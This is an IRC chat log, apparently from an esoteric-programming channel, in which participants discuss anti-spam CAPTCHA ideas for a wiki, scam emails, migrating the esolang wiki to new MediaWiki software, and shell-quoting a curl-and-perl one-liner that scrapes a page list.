20:36:24 <elliott> kallisti: (a) Unacceptable, (b) already done, (c) breaks normal browsers and makes unusable for disabled people, (d) idiotic
20:36:25 <ais523> kallisti: removing anonymous editing /is/ a big deal, IMO
20:36:34 <kallisti> well that's unfortunate because it tells the spambot exactly where to go.
20:36:53 <kallisti> elliott: I only see a math solver thing
20:37:02 <ais523> kallisti: that /is/ the CAPTCHA
20:37:06 <ais523> unfortunately, it sucks as a CAPTCHA
20:37:08 <elliott> http://95.149.228.149:8181/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page
20:37:24 <ais523> and the spambots routinely break it
20:37:33 <elliott> oh, extra TODO: get email working
20:37:37 <ais523> elliott: what are you doing about importing accounts in the server change, btw?
20:37:38 <kallisti> ais523: news flash: programs good at math.
20:37:53 <ais523> kallisti: news flash: programs bad at parsing the fact that they have to solve math
20:38:04 <ais523> the problem with that CAPTCHA is that it only needs human intervention to break /once/
20:38:12 <ais523> this is the same as the problem with changing element order, or changing round labels
20:38:19 <ais523> only need human intervention once to defeat
20:38:33 <itidus20> ok so a subjective question is needed with a wide range of possible answers
20:38:37 <kallisti> elliott: explain to me how changing the element order of the form is an idiotic way to prevent spambots from using the standard mediawiki element order to create an account?
20:38:44 <ais523> itidus20: to make it harder to /judge/?
20:38:47 <elliott> ais523: technically, this CAPTCHA only needs human intervention once, it's just a tedious and unautomatable once
20:38:56 <elliott> kallisti: Because it's a waste of time compared to just using a decent CAPTCHA.
20:39:01 <ais523> elliott: right, this is the main reason to have a lot of questions
20:39:20 <itidus20> olsner pointed out that if its a 2 option question then they will quickly get it right like flipping a coin waiting for heads
20:39:21 <ais523> actually, potential problem: the spambots are told the answer to one question, then they try it on every CAPTCHA in the hope the question will come up again
20:39:29 <ais523> there's no penalty for CAPTCHA fails, is there?
20:39:51 <kallisti> elliott: hmmm, perhaps. I don't know the success rate of CAPTCHA solvers on these so-called "good" CAPTCHAs. but they appear to be successful on most of the internet, so....
20:39:56 <ais523> I guess if any do that I just abusefilter them, also checkuser them
20:40:26 <ais523> kallisti: apparently the most common sort of captcha OCR works badly on Wikipedia's, but the second-most-common works quite well
20:40:51 <ais523> ("captcha OCR" = "OCR designed to break captchas rather than digitise more normal text)
20:41:22 <elliott> ais523: wow, Wikipedia's main page was only protected in 2006
20:41:55 <ais523> 2006 is before people started systematically trolling it
20:42:14 <elliott> ais523: anyway, yes, ConfirmEdit has a documented lack of penalty
20:43:15 <ais523> AbuseFilter can be set to block an entire /16 without warnings, incidentally, but that seems a little excessive to me
20:43:19 -!- monqy has joined.
20:43:26 <ais523> I usually look up how large the range the IP is part of is, and block that
20:43:36 <kallisti> hopefuly no question database is going to have esolang related questions. Though I have no idea how spambots acquire question databases in the first place.
20:43:47 <elliott> ais523: hmm, it occurs to me that spammers dislike CAPTCHA solving software too
20:43:58 <elliott> they use distorted text in images for email spam, after all
20:44:15 <ais523> hmm, perhaps we can set the two groups against each other
20:44:24 <ais523> and have confirming email as spam or not /as a CAPTCHA/
20:44:34 <elliott> wow, I want to implement that now
20:44:35 <ais523> unexpectedly awesome idea?
20:44:47 <ais523> (note: you need to be willing to allow random strangers to read your email)
20:44:58 <kallisti> ais523: what if gmail is secretly a spam botnet.
20:45:07 <elliott> ais523: nah, just set up a bunch of honeypot email accounts
20:45:10 <elliott> with their address all over the 'net
20:45:16 <elliott> and use the data to train a spam filter for actual users
20:45:17 <ais523> kallisti: it isn't secretly a spam botnet, because it's reasonably openly a spam botnet
20:45:25 <ais523> elliott: but they wouldn't get legitimate emails
20:45:31 <ais523> so the CAPTCHA would be solved by labeling them all as spam
20:45:37 <elliott> ais523: hmm... encourage people to send fake legitimate emails :P
20:45:45 <ais523> kallisti: gmail's the source of a reasonably large percentage of the world's spam
20:46:03 <kallisti> ais523: people /using/ gmail or the software behind gmail? I think we're talking about two different things.
20:46:05 <ais523> elliott: it wouldn't be anywhere near the spam in volume
20:46:10 <ais523> elliott: people using gmail
20:46:47 <kallisti> right, I was just making a bad joke, that if gmail were a spambot then it could easily distinguish which emails are spam.
20:46:51 <elliott> ais523: write a botnet to send fake legitimate mail, then
20:47:11 <ais523> elliott: hmm, then you could subscribe to its non-spam
20:47:14 <ais523> and be a lot less lonely
20:47:22 <ais523> and get patches for AceHack, etc
20:47:28 <elliott> http://upload.wikimedia.org/wikipedia/commons/5/55/Spam_image.jpg I feel dizzy...
20:48:06 <elliott> ais523: that's just about the saddest thing i ever heard get said
20:48:32 <elliott> it illustrates http://en.wikipedia.org/wiki/Image_spam
20:48:48 <elliott> wait, does that mean the image spam is freely-licensed?
20:49:24 <ais523> elliott: it was probably sent by a spambot to one of those people with signatures saying they own the copyright of anything you email to them
20:51:16 <elliott> wow, seeing Monobook after using Vector for a while is weird
20:51:19 <kallisti> elliott: wow it's a captcha ad.
20:51:21 <itidus20> this is why you can't have a babylon where everyone freely understands each other
20:51:27 <fizzie> Lately I've been getting rather amusing "follow-ups" to the usual "here's a lot of money for you" spams. I'm sort of wondering if there's already a large market of people who've already responded to regular spam, and are therefore "primed" for stuff like this: http://p.zem.fi/ikvv
20:51:57 <itidus20> bots are empowered by everyone in the community dividing against each other (with the bots)... as if to force division
20:52:09 <fizzie> World Court and German businessmen and everything.
20:52:48 <itidus20> i mean it is quite possible for tribal languages to spring up of a guarded nature so that their captchas can't be figured out
20:52:56 <elliott> ais523: you should click fizzie's link
20:52:59 <kallisti> oh, btw, you need to ban elliott for spamming the channel with viagra ads.
20:53:14 <ais523> elliott: sorry, was distracted
20:53:45 * kallisti wonders why audio captchas are not frequently used.
20:53:49 <ais523> wow, the first paragraph really /is/ a single sentence, I was getting a little dizzy parsing it
20:53:59 <ais523> kallisti: many people use the internet in a situation where they can't easily get sound
20:54:01 <fizzie> And that wasn't the only "follow-up" style one; I also got one from the "bank guy" who's actually doing the money reassignment, warning me that the people I've been conversing with are scammers who haven't paid him his $10k, but that he's willing to make a deal directly with me.
20:54:13 <kallisti> I guess because audio in HTML is kind of a pain in the ass (or is for the time being until HTML5 audio becomes completely safe across all commonly used browsers)
20:54:19 <elliott> kallisti: they're annoying
20:54:39 <elliott> kallisti: also, understanding them can be hard compared to image captchas
20:54:50 <elliott> especially across cultures (accents, etc.)
20:55:04 <kallisti> animated CAPTCHAs? is this a thing people do?
20:55:07 <ais523> your name has been enlisted in the WORLD SCAM RECORDS as a top 11 fraudster
20:55:13 <monqy> kallisti: haven't you seen them?
20:55:19 <monqy> kallisti: the captchas with the car ads
20:55:32 <monqy> or were they static I forget
20:55:32 <kallisti> I live in a world without ads.
20:55:38 <elliott> [[ We have also spread our networks to the following countries which are
20:55:38 <elliott> Australia, Canada, Africa, United Kingdom, Asia and Poland.]]
20:55:41 <monqy> anyway, captcha that's also a car ad
20:55:43 <kallisti> monqy: maybe you were tripping when you saw them
20:55:44 <elliott> Africa and Asia are my favourite countries
20:55:47 <monqy> except the text isn't obscured at all
20:55:47 <kallisti> and they appeared to be animated.
20:55:52 <fizzie> ais523: I liked the $20M they sort-of offhand mention in one paragraph, and then never again later.
20:55:57 <monqy> so it's just a car ad and you have to write down the name of the car
20:56:00 <elliott> kallisti: there's "ad captchas"
20:56:04 <elliott> kallisti: they're disgusting
20:56:09 <elliott> because they're not actually captchas
20:56:12 <kallisti> right, I'm talking about "captcha captchas"
20:56:15 <elliott> and no bot would have problems solving them
20:56:22 <elliott> but you're forced to type in marketspeak bullshit to get past them
20:56:27 <ais523> wow parsing this message gives me a headache
20:56:34 <fizzie> The FREE CITIZEN CERTIFICATE also goes from $90 to $140 inexplicably. (Inflation?)
20:56:56 <ais523> fizzie: I that they say it costs $90 and ask for $140
20:57:01 <ais523> I'm guessing that it's their cut for notifying you
20:57:08 <ais523> perhaps it's even a scam MitM attack
20:57:10 <elliott> wow, those with Flash: http://www.adscaptcha.com/ take a look at the slide-to-fit/simple code integration
20:57:16 <elliott> it's absolutely impossible for a bot to slide a slider all the way!
20:57:27 <ais523> where one bunch of scamsters skip off $50 and give the other $90 to the bunch they're MitMing
20:57:53 <kallisti> oh.... that's what you meant by captcha ads
20:58:01 <ais523> elliott: actually, Flash CAPTCHAs seem like a reasonable idea, just to suck up all the spambot's CPU time
20:58:18 <kallisti> that's a sick amalgamation of two tedious things about the internet, combined into one.
20:58:21 <elliott> kallisti: that one is actually obscured though
20:58:27 <elliott> let me try and find the worst one
20:58:34 <elliott> which is just making you watch an ad then type in unobscured text
20:58:45 <monqy> yeah that's the one I was thinking of
20:58:49 <elliott> kallisti: http://www.solvemedia.com//advertisers.html
20:59:08 <calamari> they found a way to defeat captchas.. just put them on porn sites and make humans type them to view the porn
20:59:14 <kallisti> elliott: "wasted attention" good one
20:59:30 <elliott> http://www.solvemedia.com//images/research.png
20:59:41 <ais523> calamari: that's known as CAPTCHA MitMing, but it doesn't actually work too well
20:59:50 <kallisti> elliott: STOP SPAMMING AAAAAAH
20:59:56 * elliott pronounces MitMing as "mitt-ming"
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21:00:03 <calamari> ais523: works well enough.. tons of spam on 4chan
21:00:05 <kallisti> elliott: is there another way to pronounce it?
21:00:10 <ais523> compared to just hiring minimum-wage workers in a country with low minimum wages
21:00:31 <calamari> ais523: ah maybe thats it then
21:00:34 <ais523> calamari: and what's the point in spamming 4chan?
21:00:48 <calamari> ais523: to link back to their porn site
21:00:51 <ais523> not to mention, if you spammed 4chan you'd probably end up with naked pictures of yourself all over the Internet
21:01:24 <elliott> Taneb: prize for solving all five captchas on http://95.149.228.149:8181/wiki/Main_Page without looking the answers up
21:01:40 * kallisti didn't parse it as an acronym followed by -ing
21:01:44 <itidus20> ais523: so you mean for example, demanding 30 seconds of cpu time for the privilege of viewing the captcha's question decoded?
21:01:49 -!- Taneb has set topic: http://codu.org/logs/_esoteric/ | Resistance is frowned upon, thus voltage is frowned upon times currant..
21:01:52 <elliott> <ais523> not to mention, if you spammed 4chan you'd probably end up with naked pictures of yourself all over the Internet
21:01:55 <elliott> ais523: I take it you speak from experience
21:02:05 <ais523> elliott: no, I haven't tested this
21:02:08 <kallisti> MitMing sounds like some kind of trendy internet business name.
21:02:23 <elliott> Taneb: try to edit the page
21:02:24 <fizzie> CA-CAPTCHA: it runs a 2D CA on a HTML5 canvas, then asks you to describe the result.
21:03:14 <monqy> the result is a car ad
21:03:18 <ais523> what would make a good addition to a CAPTCHA: supply a random string, ask for a string to append for it which ends up with an SHA1 hash starting with an appropriate number of zeros
21:03:21 <Taneb> Oh god I have no idea
21:03:25 <kallisti> fizzie: come on that's just silly.
21:03:29 <ais523> that could happen to the user in the background while they were filling in the login form
21:03:34 * kallisti casually scrolls up and reads all the other ideas that have been posted.
21:03:43 <Taneb> Underload was created... '97?
21:03:54 <ais523> hey, even I don't know that one off by heart, and it was me who created it
21:03:56 <itidus20> i think ais has really hit on something... sacrificing cpu time to decode the captcha image to slow down the spambot
21:04:02 <Taneb> Wire corssing problem... Befunge?
21:04:11 <elliott> Taneb: 2006; you can get a second-place prize for doing the others
21:04:23 <elliott> itidus20: that's [[Hashcash]]
21:04:37 <elliott> itidus20: the problem is that javascript/Flash are really slow compared to hand-optimised C, which is what the spambots can use
21:04:40 <ais523> whereas this is for webforums
21:04:43 <kallisti> you could have some kind of time/memory consuming process that runs on the page. normally users would kill the JS when prompted to do so, spambots probably wouldn't (?????)
21:04:45 <elliott> so it's basically a browser vs. spambot optimisation war
21:04:53 <ais523> this is totally not obvious and I deserve a patent with millions in license fees
21:05:02 <Taneb> INTERCAL variant... AAARGH
21:05:05 <Taneb> I don't know INTERCAL
21:05:14 <Taneb> ...Is it CLC-INTERCAl?
21:05:25 <elliott> the answer was TriINTERCAL
21:05:48 <Taneb> Unlambda... oh come on I know this
21:05:57 <Taneb> Except I really don't./
21:06:07 <Taneb> I know who didn't create it
21:06:18 <ais523> Taneb: I know more than one person who didn't create it
21:06:23 <elliott> Taneb: only one more to fail at! :P
21:06:28 <monqy> I didn't create it.
21:06:32 <ais523> hmm, all this reminds me that esolangs maybe wouldn't make an ideal specialist subject for me on Mastermind
21:06:43 <ais523> not that I'm planning to apply for Mastermind
21:06:49 <elliott> ais523: I somewhat doubt they'd even allow that as a subject
21:06:52 <Taneb> IRP... Internet Relay Program?
21:06:53 <itidus20> Taneb: if it makes you feel any better, Unlambda is not a part of my life at all
21:06:58 <monqy> Taneb: how could you
21:07:00 <ais523> elliott: I think they would, it seems broad enough
21:07:01 <elliott> Taneb: Programming, actually
21:07:07 <ais523> I could get the IRP one
21:07:11 <Taneb> That's got to be close enough
21:07:11 <elliott> ais523: yes, but the reliable sources?
21:07:17 <elliott> I'd just pre-poison esolangs.org :)
21:07:25 <elliott> Taneb: not close enough for the captcha :P
21:07:27 <ais523> does Mastermind require reliable sources?
21:07:38 <elliott> ais523: I assume they use some encyclopedia or something
21:07:42 <Taneb> elliott, I don't think "Befunge" would be for the befunge one
21:07:43 <ais523> I know that recently, I've seen a gameshow that explicitly states its sources
21:07:44 <elliott> meh, they probably just use Wikipedia
21:07:49 <ais523> and asks questions starting "according to IMDB", etc
21:07:56 <elliott> Taneb: "Befunge" is accepted for the wire-crossing one
21:08:01 <ais523> IMDB is quite a common source for them to use
21:08:05 <fizzie> I knew about TriINTERCAL, and IRP, and Befunge, and had the correct decade for Underload (sadly not good enough), but didn't recall the Unlambda dude's name.
21:08:15 <ais523> fizzie: I'd have guessed 1995, thinking about it
21:08:18 <ais523> so I was only a year off
21:08:40 <ais523> elliott told me the answer to the Unlambda question before I had a chance to think about it, but I didn't remember it
21:09:08 <Taneb> I reckon Mastermind would allow Esolangs as a topic
21:09:10 <elliott> actually, you guessed it, I think
21:09:52 <ais523> looking through oerjan's impl of ~ in Underload-minus-~, it feels a little unneccessarily complex
21:09:54 <ais523> although I get the idea
21:10:32 <ais523> the problem is that lacking ~ means that most of the standard stack manip tricks don't work
21:10:54 -!- Taneb has set topic: http://codu.org/logs/_esoteric/ | Resistance is frowned upon, thus voltage is frowned upon times currant. | Electric buns, all the rage..
21:11:47 <Taneb> (currant != current)
21:12:00 <elliott> ais523: I remember that one
21:12:04 <elliott> because I remember being surprised that I understood it
21:12:19 <ais523> right, stepping through it the principle is obvious
21:12:23 <ais523> it's just hard to parse mentally
21:12:49 <elliott> I forget what it uses to be able to change the structure of the stack
21:13:10 <ais523> yep, it basically constructs a program (a)(b)(a)(b) and puts !s in the right places
21:14:20 -!- oerjan has joined.
21:14:55 -!- oerjan has set topic: http://codu.org/logs/_esoteric/ | Resistance is frowned upon, thus voltage is frowned upon times current. | Electric buns, all the rage..
21:15:11 <oerjan> or was that intentional.
21:15:29 <ais523> oerjan: I spotted the change; I'm guessing it was unintentional and then the next section was added to make fun of it
21:15:39 <ais523> hmm, now I want to have a go at implementing ~ myself
21:16:05 <elliott> * Taneb has changed the topic to: http://codu.org/logs/_esoteric/ | Resistance is frowned upon, thus voltage is frowned upon times currant. | Electric buns, all the rage.
21:16:05 <elliott> <Taneb> (currant != current)
21:16:48 <elliott> ais523: hmm, how does it construct (a)(b)?
21:16:51 <elliott> you need to dip to the a to "a" it
21:16:59 <ais523> elliott: that's the tricky part
21:17:02 <ais523> if you have dip, swap is easy
21:17:44 <ais523> btw, Proggit are talking about concatenative languages at the moment, at least in one thread
21:17:55 <ais523> in response to the submission of a blog post by evincar
21:17:59 <elliott> is that evincar's unbearable blog post
21:18:14 <Taneb> evincar... that name sounds oddly familiar
21:18:20 <monqy> he comes here sometimes
21:18:23 <monqy> elliott doesn't like him
21:18:33 <ais523> elliott: right; the information is mostly good, but the opinions are probably counterproductive
21:18:35 <Taneb> Link to blog post?
21:18:38 <ais523> http://evincarofautumn.blogspot.com/2012/02/why-concatenative-programming-matters.html
21:18:44 <elliott> ais523: the information is good, except when it's wrong
21:18:51 <elliott> for instance, he got the definition of "concatenative" wrong
21:19:39 <ais523> hmm, in what way? I'm tired, may not have been paying attention
21:19:50 <elliott> ah, 11:00:16 <slava> rien: I want to fix a few bugs and get a final 0.95 release out but other than that I'm mostly done
21:20:07 <elliott> ais523: well... it's not so much wrong as not a definition at all
21:20:29 <elliott> ais523: importantly, it doesn't actually address the "concat" part of "concatenative"
21:21:07 <ais523> I suppose my definition would be "a concatenative language is one in which concatenating the source code that represents two functions f and g creates a valid source code for the function f compose g"
21:21:14 <Taneb> So... it's a blog post about Native E code?
21:21:23 <ais523> Taneb: it uses Factor as its example language
21:21:32 <ais523> but most of what it says would work just as well for Joy or Underload, apart from the code examples
21:22:10 <elliott> I think ais523 just makes up answers to questions he doesn't know the answer to.
21:22:26 <elliott> <ais523> Taneb: it uses Factor as its example language
21:22:43 <elliott> Factor doesn't use "define foo [...]" last I checked
21:22:43 <ais523> what language are the examples written in, then?
21:22:57 -!- Taneb has quit (Read error: Operation timed out).
21:23:00 <elliott> ais523: probably either none, or evincar's awful concatenative language
21:23:04 <elliott> that we keep yelling at him about repeatedly
21:23:06 <ais523> oh, hmm, he doesn't actually say the examples are in Factor anywhere
21:23:11 <ais523> he strongly implies it multiple times, though
21:23:49 <ais523> elliott: basically by it being the only concatenative language he mentions
21:23:52 <ais523> before Kitten right at the end
21:24:09 <elliott> that guy stole the name kitten?!
21:24:15 <elliott> god, I hate him even more now
21:24:23 -!- Taneb has joined.
21:24:28 <ais523> elliott: because it's a cut-down version of Cat, apparently
21:24:49 <ais523> oh, he also mentions Prog, which is "principally concatenative"
21:25:06 <Taneb> On another note, elliott hasn't seen the new improved Pietbot!
21:25:11 <ais523> and is apparently based around pattern matching and GADTs
21:25:17 <ais523> thus, I conclude that it sucks compared to Anarchy
21:25:29 <monqy> you're confusing kitten and prog
21:25:32 <monqy> evincar has two languages
21:25:41 <ais523> "he also mentions Prog"
21:26:05 <monqy> is it a cut-down version of cat though?
21:26:31 <Taneb> Pietbot is afk, 'twould seem
21:26:56 <elliott> ais523: why might MediaWiki fail to redirect to the short-URL version of a page?
21:26:59 <ais523> now I'm disappointed that the Cat interpreter almost certainly isn't called cat
21:27:10 <ais523> elliott: because it doesn't know for certain that the short-URL version is set up correctly
21:27:19 <ais523> you'd have to tell it in the config that the redirect will work
21:27:23 <ais523> otherwise it assumes it won't
21:27:29 <elliott> ais523: I told it with $wgArticlePath
21:27:38 <elliott> is there something else I have to set?
21:27:45 <ais523> I don't know of another reason, but that doesn't mean another reason doesn't exist
21:27:56 <elliott> maybe it's caching too much or something
21:30:33 <oerjan> <ais523> btw, what's the evaluation strategy called where every function call in the code is pure and you know the argument it'll get already, you start running it in a different thread to see what value it produces, and kill the thread once you go out of scope (i.e. the function would get another argument next time)?
21:30:39 <oerjan> speculative or opportunistic
21:31:06 <ais523> oerjan: is there a name for the convention itself? if you do it for /everything/?
21:31:15 <ais523> it's a call-by-need variant, I think
21:31:44 <ais523> it's clearly insane on a CPU, but we've decided that it's actually pretty efficient on an FPGA
21:31:58 <ais523> because all that thread creation costs nothing at all apart from one bit of memory
21:33:04 <elliott> hmm, perhaps it's APC caching somehow
21:34:31 <elliott> # Folks get annoyed when VfD discussions end up the number 1 google hit for
21:34:31 <elliott> # their name. See bugzilla bug #4776
21:34:36 <elliott> -- http://en.wikipedia.org/robots.txt
21:35:44 <ais523> elliott: those pages now have meta noindex on them too, but putting them in robots.txt helps reduce server load
21:35:57 -!- augur has quit (Remote host closed the connection).
21:36:00 <ais523> due to making the bots not even bother requesting, rather than merely ignoring then
21:37:13 <elliott> wow, caching the sitenotice is really confusing
21:37:22 <elliott> because a lot of links get de-linked due to it being cached when rendering one of the linked pages
21:37:38 <elliott> I suppose the solution is to just use external links instead
21:41:14 <elliott> (how do you style external links to look like normal ones in the sitenotice?)
21:41:48 <ais523> there's some style to suppress the external link arrow
21:41:58 <ais523> I can't remember if it's mediawiki-wide or wikipedia-specific, though
21:43:40 <elliott> ais523: btw: http://95.149.228.149:8181/w/api.php
21:45:21 * elliott attempts to determine sincerity level :)
21:47:06 <oerjan> <olsner> maybe you could make it so that underload is the only captcha question? <-- hey that was the only one i think i didn't get
21:47:10 <ais523> elliott: excitement, combined with a lack of any actual /use/ for it
21:47:25 <elliott> oerjan: wasn't that olsner's point
21:47:39 <ais523> it was an "ooh, shiny things" reactoin
21:47:45 <oerjan> elliott: no, his point was it was easy to remember
21:48:03 <elliott> oerjan: well you only have to fill it out the captcha once unless you regularly edit anonymously
21:48:14 <oerjan> i'm not entirely sure i'm right about the wire-crossing one
21:48:26 <elliott> oerjan: that's why they all have links
21:48:36 <elliott> oerjan: I specifically picked captchas answerable from the first paragraph in the linked esowiki pages
21:48:41 <elliott> they just don't go to the esowiki pages yet
21:48:55 <elliott> in this case, [[Wire-crossing problem]]: "The wire-crossing problem, in its general form, states that some programs in some languages cannot be represented as planar graphs (that is, graphs with edges that do not cross when rendered in two dimensions.) It was (as far as we are aware) first considered for Befunge, with respect to the necessity of the # operator."
21:50:20 <elliott> oerjan: btw do you have any complaints/requests wrt the new wiki
21:57:43 -!- augur has joined.
22:01:34 <elliott> oh wait you just got rid of it all
22:01:48 <ais523> I'm in the process of deleting it
22:01:51 <ais523> when you distracted me
22:02:03 <oerjan> elliott: it seemed sort of ...empty...
22:02:53 <oerjan> well we need some new limes, those are _way_ beyond best before date
22:03:39 <oerjan> how can i have complaints when it's not really up?
22:03:58 <elliott> ...software-related complaints, presumably...
22:04:04 <elliott> wtf, suddenly /w/ starts redirecting properly
22:04:20 -!- Taneb has quit (Quit: Leaving).
22:04:38 -!- pir^2 has joined.
22:05:51 <oerjan> you seem to think i have opinions and stuff
22:06:16 <oerjan> i mainly hope you will get all the data transfered properly
22:06:22 * elliott distinctly recalls oerjan complaining about the wiki software tons
22:06:28 <elliott> oerjan: were you not here when I set up an instance with the imported data?
22:06:48 <elliott> ais523: btw, can [[Special:Export]] do images?
22:06:57 <ais523> elliott: I don't think so
22:07:01 <ais523> just image description pages
22:07:10 <oerjan> well i seem to have adapted to the flaws i guess
22:07:26 <oerjan> i recall being bitten by edits timing out, at one time
22:08:11 <elliott> ais523: I have this vague feeling that Special:Exporting all the ordinary pages, reuploading files manually, and then copying over the user table will be easier than a "normal" migration
22:08:28 <ais523> elliott: I was wondering about that too
22:08:34 <oerjan> elliott: by "all the data" i mean _all_ the data, naturally.
22:09:01 <oerjan> not user accounts or pictures
22:09:13 <oerjan> is what i can think about
22:09:30 <elliott> well user accounts will just require Graue
22:09:34 <elliott> it should be easy to import + upgrade that table
22:09:45 <elliott> http://esolangs.org/w/index.php?title=Special%3AAllpages&from=&namespace=6
22:09:52 <elliott> there are not really all that many
22:09:57 <elliott> so it's not a problem if we have to manually migrate them
22:10:25 <oerjan> there are also some other media files aren't there
22:10:47 -!- quintopia has quit (Ping timeout: 252 seconds).
22:11:00 <oerjan> doesn't fugue have sound/midi, or something
22:11:39 <elliott> those go in the image namespace
22:11:52 <elliott> http://esolangs.org/wiki/Hello_world_program_in_esoteric_languages#Fugue
22:11:55 <elliott> it's a link to the file archive
22:12:23 <oerjan> you already mentioned the forum
22:15:11 -!- itidus20 has quit (Ping timeout: 260 seconds).
22:16:34 <elliott> anyway, I'll probably contact Graue tonight, tomorrow, or the day after
22:16:51 <elliott> depending on how quickly I can do final tweaks and figure out what my server situation is
22:16:59 <elliott> (I'd like a configured MW to be able to link him to)
22:17:05 <elliott> (that isn't running on this laptop)
22:17:57 <elliott> ais523: by the way, if Graue decides he's too busy to give me a database dump and set up a redirect, I'm going to need help finding out where he lives
22:18:26 * elliott wouldn't think that plausible if Graue didn't decline to do the simplest of things to solve the current spam problem on the same grounds...
22:27:05 <kallisti> ugh, no one told me when I became interested in programming that my work would involve such exciting things as writing contracts.
22:29:13 <elliott> ais523: any further suggestions for the wiki, btw? (/me is pretty much procrastinating the final few things...)
22:30:04 <oerjan> <itidus20> i think ais has really hit on something... sacrificing cpu time to decode the captcha image to slow down the spambot
22:30:16 <oerjan> now just combine that with foldathome or something
22:30:44 <oerjan> or wait, that's human isn't it.
22:30:57 <oerjan> or was that another one
22:32:31 <fizzie> Folding@home was automatical.
22:32:52 <fizzie> There was some other where you twiggled molecules all game-like, though.
22:33:34 <fizzie> I suppose s/was/is/ though I haven't heard anything about it lately.
22:35:25 <elliott> ais523: how easy would it be for you to prepare a [[Special:Export]] of every mainspace/talkspace/userspace/usertalkspace/projectspace/projecttalkspace article on Esolang with full histories?
22:35:49 <ais523> elliott: does Special:Export work for you?
22:36:05 <ais523> it should just be a case of getting a page list from somewhere (probably special:allpages), then plugging it into special:export
22:36:14 <ais523> and hoping that it doesn't refuse to handle such a large query
22:37:27 -!- augur has quit (Remote host closed the connection).
22:37:28 <elliott> ais523: it does, I was hoping I could be lazy :P
22:39:39 <oklopol> i don't think there's ever been this much difference in my state of mind in a single day.
22:40:07 <oklopol> in fact i think i reached new maxima on both sides for this year.
22:40:26 <elliott> ais523: ugh, copying from the table doesn't produce one-per-line in my browser
22:40:57 <ais523> elliott: CSS the table into a list?
22:42:01 <elliott> ais523: btw, http://esolangs.org/wiki/1st_year_sobriety_and_no_dating is a broken redirect
22:42:28 <ais523> shall I delete it, or do you want to put an esolang there?
22:42:35 <ais523> and I know it works, because I did that on AfD for Wikipedia
22:43:06 <ais523> oh well, may as well delete the redirect and leave the talk page there
22:44:02 <fizzie> oklopol: Did you: make some more prooves to replace the one that got away?
22:44:42 <oklopol> i hardly did any math after work
22:44:55 <kallisti> http://static.quickmeme.com/media/social/qm.gif does this image deeply offend anyone else?
22:45:33 <fizzie> A 1x1 pixel image? How rude!
22:45:48 <kallisti> http://www.quickmeme.com/meme/178i/
22:46:08 <monqy> i'm deeply offended
22:49:27 <fizzie> I'm offended by the lack of spaces between #include and the <.
22:49:59 <kallisti> oh I didn't even look at the background
22:50:01 <calamari> what does that statement have to with linux?
22:50:27 <kallisti> I was just offended at the implication of real numbers having anything to do with computers.
22:51:57 <kallisti> I also suspect the creator of this particular caption doesn't understand floating point numbers
22:51:58 <calamari> I guess jesus is a float, since he supposedly walked on water?
22:52:15 <elliott> blah() { curl "$1" | perl -ne "print \"$2\":"'$1\n" while /<td><a[^>]+>([^<]+)/g' >>allpages; }
22:52:20 <elliott> ais523: HOW DO YOU ESCAPE AARGH
22:52:40 <kallisti> elliott: escape bash and you escape your escape problems
22:52:57 <Jafet> One does not simply escape aargh.
22:53:23 <kallisti> ais523: use single quotes in the perl code. or do you need it to interpolate?
22:55:12 <ais523> kallisti: it's substituting in bash's $2 and $1
22:55:21 <ais523> they aren't meant to be passed literally to Perl
22:55:23 <fizzie> The most standard floating-point type of Pascal is called "real", that's offensive.
22:55:25 <kallisti> oh you want it to /not/ do that.
22:55:27 <Jafet> [^>]+>([^<]+) looks like brainfuck
22:55:34 <oerjan> except, i assume, the second $1 is from perl
22:55:42 <Jafet> Why do you think it's substituting $2 and $1?
22:55:51 <kallisti> just use ' instead of " and then bash won't interpolate. if you need to use single quotes inside perl use q/.../
22:56:14 <ais523> oerjan: oh, right, it is
22:56:19 <elliott> ais523: I've rtied perl -ne 'print "'"$2"'...
22:56:26 <ais523> Jafet: the $2 refers to bash's $2, the second $1 to perl's $1
22:56:27 <elliott> but that puts literal quotes around $2 (?!)
22:58:06 <elliott> Deewiant: I'd have to escape the regexp too, I think.
22:58:12 * kallisti tends to use q and qq in perl to avoid bash escape hell.
22:58:16 <Jafet> Who would ever want to escape from their $?
22:58:33 <calamari> I love this channel.. you can even make a bash script into a an esoteric challenge
22:58:39 <ais523> elliott: shouldn't you be escaping the $2 inside the Perl script, in case it contains a "?
22:59:12 <elliott> it's just a namespace name
22:59:13 <Jafet> He should be passing $2 as a parameter, and recovering it inside perl with $2
22:59:15 <kallisti> perl quote-like operators would solve that problem as well.
22:59:16 <elliott> this is for scraping allpages
22:59:32 <elliott> Jafet: oh, good idea, but don't you mean $ARGV[whatever]?
22:59:41 <kallisti> if you use brackets. q(...) can basically contain anything.
22:59:42 <ais523> if it contained esolang names, it'd get ugly
23:00:03 <kallisti> elliott: yes that's what he means. :P
23:00:19 <Jafet> elliott: I'm just the village idiot, I don't know what is perl
23:00:44 <kallisti> (also, in case you forgot, the first element of ARGV is not the program name in perl)
23:01:19 <kallisti> easy thing to forget and mess up on.
23:02:13 <elliott> brb, hope you guys fix it by the time I come back OR ELSE
23:02:48 <kallisti> what's the problem with interpolating the whole string, using $$ to escape one of them, and using a quote-like operator if you need a nested string?
23:02:50 <calamari> or else you're going to write it in visual basic?
23:03:24 <oerjan> elliott: what do you get if you replace perl -ne by echo ?
23:06:17 <oerjan> elliott: remove the second \"
23:07:15 <kallisti> "print qq{$2:$$1\n} while /blahblahblah/g"
23:08:28 <kallisti> what's assuming you want whatever is inside $2 to be interpolated as perl and be able to do things like, say, execute arbitrary Perl code
23:08:42 <kallisti> if you don't want that then I recommend using q instead. :P
23:09:51 <Jafet> For parsing HTML, you should use Visual Basic .NET.
23:10:06 <kallisti> I am agree. use all .NET always.
23:12:05 <kallisti> elliott: but yeah try that but with q{...} instead of qq{...} (or just use ' even)
23:14:24 <oerjan> hey i already gave a fix :(
23:14:59 <kallisti> oh yes, and it might fix other things as well.
23:15:23 <kallisti> for example, with mine, bash might accidentally interpret the regex as something (I am bad at bash stuff so I don't know)
23:16:12 <oerjan> bash is named for what it makes you do to your head
23:16:41 <kallisti> I'm kind of amazed that we still actually use it...
23:16:46 <kallisti> seems it could be replaced easily.
23:16:54 <oerjan> <oerjan> elliott: remove the second \"
23:17:06 <kallisti> it could definitely use perl's quoting constructs. As this is my primary frustration with bash.
23:17:22 <kallisti> elliott: if that doesn't work I have another suggest (it's even somewhat readable!)
23:19:21 <Jafet> Modify perl to interpret all barewords as command lines
23:19:40 <oerjan> <elliott> blah() { curl "$1" | perl -ne "print \"$2\":"'$1\n" while /<td><a[^>]+>([^<]+)/g' >>allpages; }
23:19:41 <kallisti> i bet there's a source filter for that.
